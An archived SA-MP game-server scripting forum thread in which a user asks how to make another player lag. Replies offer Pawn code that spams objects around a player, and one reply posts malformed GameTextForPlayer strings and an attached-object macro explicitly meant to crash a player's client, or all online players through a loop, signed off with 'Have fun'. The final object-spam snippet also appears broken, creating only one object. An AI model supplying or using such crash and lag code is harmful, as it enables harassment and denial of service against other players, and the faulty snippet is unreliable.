SA-MP Forums Archive
how i can create a lag for player - Printable Version

+- SA-MP Forums Archive (https://sampforum.blast.hk)
+-- Forum: SA-MP Scripting and Plugins (https://sampforum.blast.hk/forumdisplay.php?fid=8)
+--- Forum: Scripting Help (https://sampforum.blast.hk/forumdisplay.php?fid=12)
+--- Thread: how i can create a lag for player (/showthread.php?tid=381262)



how i can create a lag for player - Snir_sofer - 29.09.2012

how i can create a lag for player with command.

thanks..


Re: how i can create a lag for player - NinjaChicken - 29.09.2012

this is quite easy but why would you want to do that? you can just have it spawn say 300 glass objects at them for a split second or sometihng


Re: how i can create a lag for player - Genuine - 29.09.2012

As stated above, spawn so many vehicles up to 400 cars in 5 seconds, and he'll have the lag that takes up 5 second to respond.


Re: how i can create a lag for player - Face9000 - 29.09.2012

Use this:

pawn Код:
GameTextForPlayer(playerid, "~089045uy459yuj56iojhihiu~~vnsgndsdfn ~~~~~~~щщщщщщщщщщщщщщ~+ит+ит+ит+и+ит+ит+ит+и*****~n~n~n~n~n~n`~", 1000, 5);
GameTextForPlayer(playerid, "~k~~INVALID_KEY~", 100, 5);
GameTextForPlayer(playerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 1000, 0);
GameTextForPlayer(playerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 2000, 1);
GameTextForPlayer(playerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 3000, 2);
GameTextForPlayer(playerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 4000, 3);
GameTextForPlayer(playerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 5000, 4);
GameTextForPlayer(playerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 6000, 5);
GameTextForPlayer(playerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 7000, 6);
Or if you like macros:

pawn Код:
#define FuckPlayer(%0); SetPlayerAttachedObject(%0,0,%0,0);
FuckPlayer(playerid);
Use playerid if you want crash just a single player,otherwise use a loop to crash all online players.

Have fun.


Re: how i can create a lag for player - Snir_sofer - 01.10.2012

thanks, but i want create lag for player no crash..


Re: how i can create a lag for player - Alcatraz Gaming - 01.10.2012

True what h0p2it said, why do you even want to know how to lag a player? Just spawn too much objects at him within 5- seconds so that he lags a-lot, may result in a crash


Re: how i can create a lag for player - Emmet_ - 01.10.2012

pawn Код:
new
    i,
    Float:x,
    Float:y,
    Float:z,
    start = -1;

GetPlayerPos(playerid, x, y, z);
while (i++ < 512)
{
    if (start == -1)
    { // create a shitload of smoke objects
        start = CreateObject(2780, x, y, z + 5, 0.0, 0.0, 0.0);
    }
}
SetTimerEx("DestroyObjects", 3000, false, "ii", playerid, start);

// Put the below code somewhere else..
forward DestroyObjects(playerid, start);
public DestroyObjects(playerid, start)
{
    for (new i = start; i < MAX_OBJECTS; i++)
    {
        DestroyObject(i);
    }
}